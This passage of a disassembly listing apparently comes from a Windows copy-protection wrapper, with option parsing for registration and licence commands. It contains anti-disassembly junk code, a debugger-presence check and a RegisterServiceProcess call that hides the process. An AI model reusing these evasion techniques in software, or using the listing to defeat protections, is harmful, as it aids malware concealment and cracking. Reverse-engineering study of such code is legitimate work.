.text:004B5C14j jo short loc_4B5C80 jl short loc_4B5C7E loc_4B5C7B: ; CODE XREF: .text:loc_4B5C7Ej ; .text:loc_4B5C80j jmp short loc_4B5C82 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4B5C7E: ; CODE XREF: .text:004B5C79j jz short loc_4B5C7B loc_4B5C80: ; CODE XREF: .text:loc_4B5C77j jmp short loc_4B5C7B ; --------------------------------------------------------------------------- loc_4B5C82: ; CODE XREF: .text:loc_4B5C7Bj mov eax, large fs:20h or eax, eax jnz short loc_4B5C8E jmp short loc_4B5CFF ; --------------------------------------------------------------------------- loc_4B5C8E: ; CODE XREF: .text:004B5C6Ej ; .text:004B5C75j ... pusha xor eax, eax jnz short loc_4B5C95 jmp short loc_4B5CAA ; --------------------------------------------------------------------------- loc_4B5C95: ; CODE XREF: .text:004B5C91j jmp short loc_4B5CCA ; --------------------------------------------------------------------------- db 0C0h dd 0C7A1875h ; --------------------------------------------------------------------------- loc_4B5C9C: ; CODE XREF: .text:loc_4B5CAAj jo short loc_4B5CAC jmp short near ptr loc_4B5CAC+1 ; --------------------------------------------------------------------------- dd 790E72E8h, 15FFF1h ; --------------------------------------------------------------------------- jns short loc_4B5CB3 loc_4B5CAA: ; CODE XREF: .text:004B5C93j jz short loc_4B5C9C loc_4B5CAC: ; CODE XREF: .text:loc_4B5C9Cj ; .text:004B5C9Ej jmp short near ptr loc_4B5C34+1 ; --------------------------------------------------------------------------- dw 7ADBh db 0F0h, 0A0h, 33h ; --------------------------------------------------------------------------- loc_4B5CB3: ; CODE XREF: .text:004B5CA8j popa mov byte_4F435C, 1 push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4B5CF2 ; CODE XREF: .text:loc_4B5CF2j ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4B5CCA: ; CODE XREF: .text:loc_4B5C95j ; .text:004B5CEBj jmp short loc_4B5CE9 ; --------------------------------------------------------------------------- loc_4B5CCC: ; CODE XREF: .text:loc_4B5CE9j xor ecx, ecx loc_4B5CCE: ; CODE XREF: .text:004B5CDDj jz short $+2 jmp short loc_4B5CE2 ; --------------------------------------------------------------------------- loc_4B5CD2: ; CODE XREF: .text:004B5CE6j stc xor ecx, 3 jz short loc_4B5C68 jmp short loc_4B5CDF ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4B5CDB: ; CODE XREF: .text:loc_4B5CDFj jmp short loc_4B5CED ; --------------------------------------------------------------------------- jz short loc_4B5CCE loc_4B5CDF: ; CODE XREF: .text:004B5CD8j jnb short loc_4B5CDB ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4B5CE2: ; CODE XREF: .text:004B5CD0j sbb bl, bl xor ebx, ebx jmp short loc_4B5CD2 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4B5CE9: ; CODE XREF: .text:loc_4B5CCAj jmp short loc_4B5CCC ; --------------------------------------------------------------------------- jmp short loc_4B5CCA ; --------------------------------------------------------------------------- loc_4B5CED: ; CODE XREF: .text:loc_4B5CDBj repne sbb al, 0DBh jmp short loc_4B5CF5 ; --------------------------------------------------------------------------- loc_4B5CF2: ; CODE XREF: .text:004B5CC5j jmp short near ptr loc_4B5CC5+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4B5CF5: ; CODE XREF: .text:004B5CF0j popa popf bswap eax not ecx bswap eax not ecx loc_4B5CFF: ; CODE XREF: .text:004B5C70j ; .text:004B5C8Cj mov ecx, [ebp-6A8h] and ecx, 0FFh test ecx, ecx jz short loc_4B5D3D call dword_4ED1B8 ; GetCurrentProcessId push eax push offset aXDaf ; "%X:DAF" lea edx, [ebp-128h] push edx call _sprintf_0 add esp, 0Ch lea eax, [ebp-128h] push eax push 0 push 0 call dword_4ED0A4 ; CreateMutexA jmp short loc_4B5D99 ; --------------------------------------------------------------------------- loc_4B5D3D: ; CODE XREF: .text:004B5D0Dj xor ecx, ecx cmp dword_4F4130, 0 setz cl push ecx call loc_4B84DA add esp, 4 and eax, 0FFh test eax, eax jnz short loc_4B5D85 mov dword_4F4370, 6 call dword_4ED078 ; RtlGetLastWin32Error push eax push offset aErrorCodeD ; "(Error code %d)" push offset byte_4F4374 call _sprintf_0 add esp, 0Ch xor eax, eax jmp loc_4B5E24 ; --------------------------------------------------------------------------- loc_4B5D85: ; CODE XREF: .text:004B5D59j push 0 call sub_4B5E35 add esp, 4 mov eax, 1 jmp loc_4B5E24 ; --------------------------------------------------------------------------- loc_4B5D99: ; CODE XREF: .text:004B5B19j ; .text:004B5D3Bj jmp short loc_4B5DB9 ; --------------------------------------------------------------------------- loc_4B5D9B: ; CODE XREF: .text:004B5AD5j mov edx, dword_4ED3DC xor edx, dword_4ED3FC xor edx, dword_4ED3F0 and edx, 2 test edx, edx jz short loc_4B5DB9 call sub_4B3AA2 loc_4B5DB9: ; CODE XREF: .text:loc_4B5D99j ; .text:004B5DB2j call sub_4B45FB mov [ebp-1Ch], eax push 0 call sub_4B5E35 add esp, 4 push 0 call sub_4C935C add esp, 4 cmp dword ptr [ebp-1Ch], 1 jnz short loc_4B5DEC push offset dword_4F4130 call dword_4F4158 add esp, 4 mov [ebp-1Ch], eax loc_4B5DEC: ; CODE XREF: .text:004B5DD9j push offset sub_4B45CC call sub_4C935C add esp, 4 cmp dword_4F4154, 0 jz short loc_4B5E08 call dword_4F4154 loc_4B5E08: ; CODE XREF: .text:004B5E00j cmp dword_4F4368, 0 jz short loc_4B5E21 push 0 push 0 mov eax, dword_4F4364 push eax call dword_4F4368 loc_4B5E21: ; CODE XREF: .text:004B5E0Fj mov eax, [ebp-1Ch] loc_4B5E24: ; CODE XREF: .text:004B58BFj ; .text:004B5A42j ... mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B5E35 proc near ; CODE XREF: .text:004B58C6p ; .text:004B5D87p ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp dword_4F4478, 0 jnz short loc_4B5E67 push offset aKernel32_dll ; "KERNEL32.DLL" call dword_4ED07C ; LoadLibraryA mov dword_4F4474, eax push offset aRegisterserv_0 ; "RegisterServiceProcess" mov eax, dword_4F4474 push eax call dword_4ED074 ; GetProcAddress mov dword_4F4478, eax loc_4B5E67: ; CODE XREF: sub_4B5E35+Aj cmp dword_4F4478, 0 jz short loc_4B5E82 mov ecx, [ebp+arg_0] and ecx, 0FFh push ecx push 0 call dword_4F4478 loc_4B5E82: ; CODE XREF: sub_4B5E35+39j pop ebp retn sub_4B5E35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B5E84 proc near ; CODE XREF: WinMain(x,x,x,x):loc_4B66A5p push ebp mov ebp, esp call loc_4B566B pop ebp retn sub_4B5E84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B5E8E proc near ; CODE XREF: .text:loc_4B5F9Bp Dest = byte ptr -110h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 110h mov [ebp+var_8], 0 push offset aKernel32_0 ; "Kernel32" call dword_4ED07C ; LoadLibraryA mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4B5EFA push offset aIsdebuggerpres ; "IsDebuggerPresent" mov eax, [ebp+var_C] push eax call dword_4ED074 ; GetProcAddress mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_4B5EFA call [ebp+var_10] test eax, eax jz short loc_4B5EFA call dword_4ED1B8 ; GetCurrentProcessId push eax push offset aXDaf ; "%X:DAF" lea ecx, [ebp+Dest] push ecx ; Dest call _sprintf_0 add esp, 0Ch lea edx, [ebp+Dest] push edx push 0 push 0 call dword_4ED0A4 ; CreateMutexA loc_4B5EFA: ; CODE XREF: sub_4B5E8E+1Fj ; sub_4B5E8E+37j ... push offset sub_4B45CC call sub_4C935C add esp, 4 call sub_4B45FB mov [ebp+var_4], eax push 0 call sub_4C935C add esp, 4 cmp [ebp+var_4], 1 jnz short loc_4B5F2D push offset dword_4F4130 call dword_4F4158 add esp, 4 loc_4B5F2D: ; CODE XREF: sub_4B5E8E+8Fj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4B5E8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B5F34 proc near ; CODE XREF: .text:004B5FCFp push ebp mov ebp, esp push offset sub_4B45CC call sub_4C935C add esp, 4 call dword_4F4154 push 0 push 0 mov eax, dword_4F4364 push eax call dword_4F4368 pop ebp retn sub_4B5F34 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 108h push 0 push offset aInitializedlla ; "INITIALIZEDLLADDR" call dword_4ED098 ; SetEnvironmentVariableA cmp dword_4F4360, 0 jz short loc_4B5F9B mov eax, dword_4F4360 mov [ebp-8], eax mov dword_4F4360, 0 call dword ptr [ebp-8] test eax, eax jnz short loc_4B5F9B xor eax, eax jmp loc_4B605B ; --------------------------------------------------------------------------- loc_4B5F9B: ; CODE XREF: .text:004B5F79j ; .text:004B5F92j call sub_4B5E8E mov [ebp-4], eax cmp dword ptr [ebp-4], 1 jnz short loc_4B5FE9 cmp dword_4F4150, 0 jz short loc_4B5FE2 push offset byte_4F4374 push 1 mov ecx, dword_4F4480 push ecx call dword_4F4150 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz short loc_4B5FDB call sub_4B5F34 xor eax, eax jmp loc_4B605B ; --------------------------------------------------------------------------- loc_4B5FDB: ; CODE XREF: .text:004B5FCDj mov eax, 1 jmp short loc_4B605B ; --------------------------------------------------------------------------- loc_4B5FE2: ; CODE XREF: .text:004B5FB0j mov eax, 1 jmp short loc_4B605B ; --------------------------------------------------------------------------- loc_4B5FE9: ; CODE XREF: .text:004B5FA7j cmp dword ptr [ebp-4], 0 jnz short loc_4B6059 call sub_4B45B1 push eax lea edx, [ebp-108h] push edx call _strcpy_0 add esp, 8 call sub_4B45C2 push eax call _strlen_0 add esp, 4 test eax, eax jz short loc_4B603F push offset asc_4ED704 ; "\n" lea eax, [ebp-108h] push eax call _strcat_0 add esp, 8 call sub_4B45C2 push eax lea ecx, [ebp-108h] push ecx call _strcat_0 add esp, 8 loc_4B603F: ; CODE XREF: .text:004B6014j push 40010h push 0 lea edx, [ebp-108h] push edx push 0 call dword_4ED22C ; MessageBoxA xor eax, eax jmp short loc_4B605B ; --------------------------------------------------------------------------- loc_4B6059: ; CODE XREF: .text:004B5FEDj xor eax, eax loc_4B605B: ; CODE XREF: .text:004B5F96j ; .text:004B5FD6j ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B6060 proc near ; CODE XREF: sub_4B4965+3Cp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_0] push eax call sub_4B6138 add esp, 4 mov [ebp+var_4], eax mov [ebp+var_C], 0 mov [ebp+var_8], 0 mov ecx, [ebp+arg_0] mov [ebp+var_14], ecx cmp [ebp+var_14], 0 jz short loc_4B6091 jmp short loc_4B60B6 ; --------------------------------------------------------------------------- loc_4B6091: ; CODE XREF: sub_4B6060+2Dj push 0 push offset sub_4B60E5 push 0 mov edx, [ebp+var_4] push edx mov eax, dword_4F4480 push eax call dword_4ED20C ; CreateDialogIndirectParamA mov [ebp+var_C], eax call dword_4ED078 ; RtlGetLastWin32Error mov [ebp+var_8], eax loc_4B60B6: ; CODE XREF: sub_4B6060+2Fj mov ecx, [ebp+var_4] mov [ebp+var_10], ecx mov edx, [ebp+var_10] push edx call sub_4C85D6 add esp, 4 push 5 mov eax, [ebp+var_C] push eax call dword_4ED210 ; ShowWindow mov ecx, [ebp+var_C] push ecx call dword_4ED214 ; UpdateWindow mov eax, [ebp+var_C] mov esp, ebp pop ebp retn sub_4B6060 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B60E5 proc near ; DATA XREF: sub_4B6060+33o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], offset aLoading___ ; "Loading..." mov eax, [ebp+arg_4] mov [ebp+var_8], eax cmp [ebp+var_8], 110h jz short loc_4B6103 jmp short loc_4B6130 ; --------------------------------------------------------------------------- loc_4B6103: ; CODE XREF: sub_4B60E5+1Aj push offset dword_4F425C mov ecx, [ebp+arg_0] push ecx call dword_4ED204 ; SetWindowTextA mov edx, [ebp+var_4] push edx push 3EAh mov eax, [ebp+arg_0] push eax call dword_4ED208 ; GetDlgItem push eax call dword_4ED204 ; SetWindowTextA xor eax, eax jmp short loc_4B6132 ; --------------------------------------------------------------------------- loc_4B6130: ; CODE XREF: sub_4B60E5+1Cj xor eax, eax loc_4B6132: ; CODE XREF: sub_4B60E5+49j mov esp, ebp pop ebp retn 10h sub_4B60E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B6138 proc near ; CODE XREF: sub_4B6060+Ap var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push 400h call sub_4C85E1 add esp, 4 mov [ebp+var_10], eax mov eax, [ebp+var_10] mov [ebp+var_C], eax mov ecx, [ebp+var_C] mov [ebp+var_4], ecx mov edx, [ebp+arg_0] mov [ebp+var_18], edx cmp [ebp+var_18], 0 jz short loc_4B616B jmp loc_4B635B ; --------------------------------------------------------------------------- loc_4B616B: ; CODE XREF: sub_4B6138+2Cj mov eax, [ebp+var_4] mov dword ptr [eax], 90C00AC4h mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov dword ptr [edx], 80h mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov word ptr [ecx], 1 mov edx, [ebp+var_4] add edx, 2 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov word ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 2 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov word ptr [edx], 0 mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov word ptr [ecx], 7Bh mov edx, [ebp+var_4] add edx, 2 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov word ptr [eax], 22h mov ecx, [ebp+var_4] add ecx, 2 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov word ptr [edx], 0 mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov word ptr [ecx], 0 mov edx, [ebp+var_4] add edx, 2 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov word ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 2 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov word ptr [edx], 8 mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_4], eax mov [ebp+var_8], 0 jmp short loc_4B623A ; --------------------------------------------------------------------------- loc_4B6231: ; CODE XREF: sub_4B6138+130j mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx loc_4B623A: ; CODE XREF: sub_4B6138+F7j mov edx, [ebp+var_8] mov eax, off_4ED71C xor ecx, ecx mov cx, [eax+edx*2] test ecx, ecx jz short loc_4B626A mov edx, [ebp+var_4] mov eax, [ebp+var_8] mov ecx, off_4ED71C mov ax, [ecx+eax*2] mov [edx], ax mov ecx, [ebp+var_4] add ecx, 2 mov [ebp+var_4], ecx jmp short loc_4B6231 ; --------------------------------------------------------------------------- loc_4B626A: ; CODE XREF: sub_4B6138+112j mov edx, [ebp+var_4] mov word ptr [edx], 0 mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_4], eax loc_4B627B: ; CODE XREF: sub_4B6138+162j mov eax, [ebp+var_4] xor edx, edx mov ecx, 4 div ecx test edx, edx jz short loc_4B629C mov edx, [ebp+var_4] mov byte ptr [edx], 0 mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_4B627B ; --------------------------------------------------------------------------- loc_4B629C: ; CODE XREF: sub_4B6138+151j mov ecx, [ebp+var_4] mov dword ptr [ecx], 50801281h mov edx, [ebp+var_4] add edx, 4 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov word ptr [edx], 0 mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov word ptr [ecx], 0 mov edx, [ebp+var_4] add edx, 2 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov word ptr [eax], 7Bh mov ecx, [ebp+var_4] add ecx, 2 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov word ptr [edx], 22h mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov word ptr [ecx], 3EAh mov edx, [ebp+var_4] add edx, 2 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov word ptr [eax], 0FFFFh mov ecx, [ebp+var_4] add ecx, 2 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov word ptr [edx], 82h mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov word ptr [ecx], 0 mov edx, [ebp+var_4] add edx, 2 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov word ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 2 mov [ebp+var_4], ecx jmp short loc_4B6371 ; --------------------------------------------------------------------------- loc_4B635B: ; CODE XREF: sub_4B6138+2Ej mov edx, [ebp+var_C] mov [ebp+var_14], edx mov eax, [ebp+var_14] push eax call sub_4C85D6 add esp, 4 xor eax, eax jmp short loc_4B6374 ; --------------------------------------------------------------------------- loc_4B6371: ; CODE XREF: sub_4B6138+221j mov eax, [ebp+var_C] loc_4B6374: ; CODE XREF: sub_4B6138+237j mov esp, ebp pop ebp retn sub_4B6138 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd) _WinMain@16 proc near ; CODE XREF: start+C9p var_24 = dword ptr -24h var_20 = dword ptr -20h Dest = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h Str = dword ptr -0Ch Source = dword ptr -8 var_4 = dword ptr -4 hInstance = dword ptr 8 hPrevInstance = dword ptr 0Ch lpCmdLine = dword ptr 10h nShowCmd = dword ptr 14h push ebp mov ebp, esp sub esp, 24h push 0 call dword_4ED050 ; GetModuleHandleA mov dword_4F4480, eax mov dword_4F4130, 1 mov eax, [ebp+nShowCmd] mov dword_4F4134, eax mov ecx, [ebp+lpCmdLine] mov dword_4F4138, ecx mov edx, [ebp+hInstance] mov dword_4F413C, edx push 2 mov eax, dword_4F4480 push eax call sub_4BE373 add esp, 8 push 2000h call sub_4C85E1 add esp, 4 mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov [ebp+Str], ecx push 2000h ; Size push 0 ; Val mov edx, [ebp+Str] push edx ; Dst call _memset_0 add esp, 0Ch mov eax, [ebp+Str] push eax ; Dest mov ecx, [ebp+lpCmdLine] push ecx ; Source call sub_4B673D add esp, 8 mov [ebp+Source], eax push 6 ; MaxCount push offset aServer ; "SERVER" mov edx, [ebp+Str] push edx ; Str1 call __strnicmp add esp, 0Ch test eax, eax jnz loc_4B64F9 mov byte_4F4488, 1 mov dword_4ED3A4, 3Ch mov eax, [ebp+Str] push eax ; Str call _strlen_0 add esp, 4 cmp eax, 6 jbe loc_4B64E6 push offset asc_4ED7E4 ; "X" mov ecx, [ebp+Str] add ecx, 6 push ecx call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime add esp, 8 test eax, eax jnz short loc_4B6468 mov dword_4ED3A4, 0FFFFFFFFh jmp short loc_4B64E6 ; --------------------------------------------------------------------------- loc_4B6468: ; CODE XREF: WinMain(x,x,x,x)+DAj push offset aDown ; "DOWN" mov edx, [ebp+Str] add edx, 6 push edx call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime add esp, 8 test eax, eax jnz short loc_4B648C mov dword_4ED3A4, 0FFFFFFFEh jmp short loc_4B64E6 ; --------------------------------------------------------------------------- loc_4B648C: ; CODE XREF: WinMain(x,x,x,x)+FEj mov eax, [ebp+Str] add eax, 6 mov [ebp+var_10], eax loc_4B6495: ; CODE XREF: WinMain(x,x,x,x)+13Dj mov ecx, [ebp+var_10] movsx edx, byte ptr [ecx] test edx, edx jz short loc_4B64BF mov eax, [ebp+var_10] movsx ecx, byte ptr [eax] push ecx ; C call _isdigit add esp, 4 test eax, eax jnz short loc_4B64B4 jmp short loc_4B64BF ; --------------------------------------------------------------------------- loc_4B64B4: ; CODE XREF: WinMain(x,x,x,x)+130j mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx jmp short loc_4B6495 ; --------------------------------------------------------------------------- loc_4B64BF: ; CODE XREF: WinMain(x,x,x,x)+11Dj ; WinMain(x,x,x,x)+132j mov eax, [ebp+var_10] movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_4B64DF mov edx, [ebp+Str] add edx, 6 push edx ; Str call sub_4C95E3 add esp, 4 mov dword_4ED3A4, eax jmp short loc_4B64E6 ; --------------------------------------------------------------------------- loc_4B64DF: ; CODE XREF: WinMain(x,x,x,x)+147j mov byte_4F4488, 0 loc_4B64E6: ; CODE XREF: WinMain(x,x,x,x)+BEj ; WinMain(x,x,x,x)+E6j ... mov eax, [ebp+Str] push eax ; Dest mov ecx, [ebp+Source] push ecx ; Source call sub_4B673D add esp, 8 mov [ebp+Source], eax loc_4B64F9: ; CODE XREF: WinMain(x,x,x,x)+98j push offset aRegister ; "REGISTER" mov edx, [ebp+Str] push edx call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime add esp, 8 test eax, eax jnz short loc_4B652E mov dword_4F4484, 1 mov eax, [ebp+Source] push eax ; Source push offset byte_4F415C ; Dest call _strcpy_0 add esp, 8 jmp loc_4B66A5 ; --------------------------------------------------------------------------- loc_4B652E: ; CODE XREF: WinMain(x,x,x,x)+18Cj push offset aQuietregister ; "QUIETREGISTER" mov ecx, [ebp+Str] push ecx call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime add esp, 8 test eax, eax jnz short loc_4B6563 mov dword_4F4484, 8 mov edx, [ebp+Source] push edx ; Source push offset byte_4F415C ; Dest call _strcpy_0 add esp, 8 jmp loc_4B66A5 ; --------------------------------------------------------------------------- loc_4B6563: ; CODE XREF: WinMain(x,x,x,x)+1C1j push offset aTransfer ; "TRANSFER" mov eax, [ebp+Str] push eax call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime add esp, 8 test eax, eax jnz short loc_4B6587 mov dword_4F4484, 2 jmp loc_4B66A5 ; --------------------------------------------------------------------------- loc_4B6587: ; CODE XREF: WinMain(x,x,x,x)+1F6j push offset aFixclock ; "FIXCLOCK" mov ecx, [ebp+Str] push ecx call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime add esp, 8 test eax, eax jnz short loc_4B65AB mov dword_4F4484, 3 jmp loc_4B66A5 ; --------------------------------------------------------------------------- loc_4B65AB: ; CODE XREF: WinMain(x,x,x,x)+21Aj push offset aInfo ; "INFO" mov edx, [ebp+Str] push edx call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime add esp, 8 test eax, eax jnz short loc_4B65CF mov dword_4F4484, 4 jmp loc_4B66A5 ; --------------------------------------------------------------------------- loc_4B65CF: ; CODE XREF: WinMain(x,x,x,x)+23Ej push offset aUnregister ; "UNREGISTER" mov eax, [ebp+Str] push eax call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime add esp, 8 test eax, eax jnz short loc_4B65F3 mov dword_4F4484, 5 jmp loc_4B66A5 ; --------------------------------------------------------------------------- loc_4B65F3: ; CODE XREF: WinMain(x,x,x,x)+262j push offset aQuietunregiste ; "QUIETUNREGISTER" mov ecx, [ebp+Str] push ecx call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime add esp, 8 test eax, eax jnz short loc_4B6617 mov dword_4F4484, 9 jmp loc_4B66A5 ; --------------------------------------------------------------------------- loc_4B6617: ; CODE XREF: WinMain(x,x,x,x)+286j push offset aShownetusers ; "SHOWNETUSERS" mov edx, [ebp+Str] push edx call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime add esp, 8 test eax, eax jnz short loc_4B6638 mov dword_4F4484, 6 jmp short loc_4B66A5 ; --------------------------------------------------------------------------- loc_4B6638: ; CODE XREF: WinMain(x,x,x,x)+2AAj push offset aHwchangelog ; "HWCHANGELOG" mov eax, [ebp+Str] push eax call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime add esp, 8 test eax, eax jnz short loc_4B6659 mov dword_4F4484, 7 jmp short loc_4B66A5 ; --------------------------------------------------------------------------- loc_4B6659: ; CODE XREF: WinMain(x,x,x,x)+2CBj push offset aQuietexit ; "QUIETEXIT" mov ecx, [ebp+Str] push ecx call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime add esp, 8 test eax, eax jnz short loc_4B667A mov dword_4F4484, 0Ah jmp short loc_4B66A5 ; --------------------------------------------------------------------------- loc_4B667A: ; CODE XREF: WinMain(x,x,x,x)+2ECj push 9 ; MaxCount push offset aArmdebug ; "ARMDEBUG=" mov edx, [ebp+Str] push edx ; Str1 call __strnicmp add esp, 0Ch test eax, eax jnz short loc_4B66A5 mov eax, [ebp+Str] add eax, 9 push eax ; Source push offset byte_4F415C ; Dest call _strcpy_0 add esp, 8 loc_4B66A5: ; CODE XREF: WinMain(x,x,x,x)+1A9j ; WinMain(x,x,x,x)+1DEj ... call sub_4B5E84 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4B6719 mov ecx, [ebp+Str] mov [ebp+Dest], ecx call sub_4B45B1 push eax ; Source mov edx, [ebp+Dest] push edx ; Dest call _strcpy_0 add esp, 8 call sub_4B45C2 push eax ; Str call _strlen_0 add esp, 4 test eax, eax jz short loc_4B6706 push offset asc_4ED704 ; "\n" mov eax, [ebp+Str] push eax ; Dest call _strcat_0 add esp, 8 mov ecx, [ebp+Str] mov [ebp+var_20], ecx call sub_4B45C2 push eax ; Source mov edx, [ebp+var_20] push edx ; Dest call _strcat_0 add esp, 8 loc_4B6706: ; CODE XREF: WinMain(x,x,x,x)+35Bj push 40010h push 0 mov eax, [ebp+Str] push eax push 0 call dword_4ED22C ; MessageBoxA loc_4B6719: ; CODE XREF: WinMain(x,x,x,x)+331j mov ecx, dword_4F473C mov [ebp+var_14], ecx mov edx, [ebp+Str] mov [ebp+var_24], edx mov eax, [ebp+var_24] push eax call sub_4C85D6 add esp, 4 mov eax, [ebp+var_14] mov esp, ebp pop ebp retn 10h _WinMain@16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4B673D(char *Source,char *Dest) sub_4B673D proc near ; CODE XREF: WinMain(x,x,x,x)+78p ; WinMain(x,x,x,x)+16Ep Count = dword ptr -8 var_4 = dword ptr -4 Source = dword ptr 8 Dest = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 loc_4B6743: ; CODE XREF: sub_4B673D+1Aj mov eax, [ebp+Source] movsx ecx, byte ptr [eax] cmp ecx, 20h jnz short loc_4B6759 mov edx, [ebp+Source] add edx, 1 mov [ebp+Source], edx jmp short loc_4B6743 ; --------------------------------------------------------------------------- loc_4B6759: ; CODE XREF: sub_4B673D+Fj mov eax, [ebp+Source] mov [ebp+var_4], eax loc_4B675F: ; CODE XREF: sub_4B673D+40j mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_4B677F mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 20h jz short loc_4B677F mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx jmp short loc_4B675F ; --------------------------------------------------------------------------- loc_4B677F: ; CODE XREF: sub_4B673D+2Aj ; sub_4B673D+35j mov eax, [ebp+var_4] sub eax, [ebp+Source] mov [ebp+Count], eax mov ecx, [ebp+Count] push ecx ; Count mov edx, [ebp+Source] push edx ; Source mov eax, [ebp+Dest] push eax ; Dest call _strncpy_0 add esp, 0Ch mov ecx, [ebp+Dest] add ecx, [ebp+Count] mov byte ptr [ecx], 0 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4B673D endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B67B0 proc near ; CODE XREF: sub_4B6BB7+6p ; sub_4B6F14+149p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx call dword_4ED0AC ; GetCurrentThreadId cmp dword_4F44A8, eax jnz short loc_4B67DA mov eax, dword_4F4498 push eax call dword_4ED228 ; DestroyWindow mov dword_4F4498, 0 jmp short loc_4B6824 ; --------------------------------------------------------------------------- loc_4B67DA: ; CODE XREF: sub_4B67B0+10j push 0 push 0 push 40Ah mov ecx, dword_4F4498 push ecx call dword_4ED278 ; PostMessageA mov [ebp+var_4], 0 jmp short loc_4B6802 ; --------------------------------------------------------------------------- 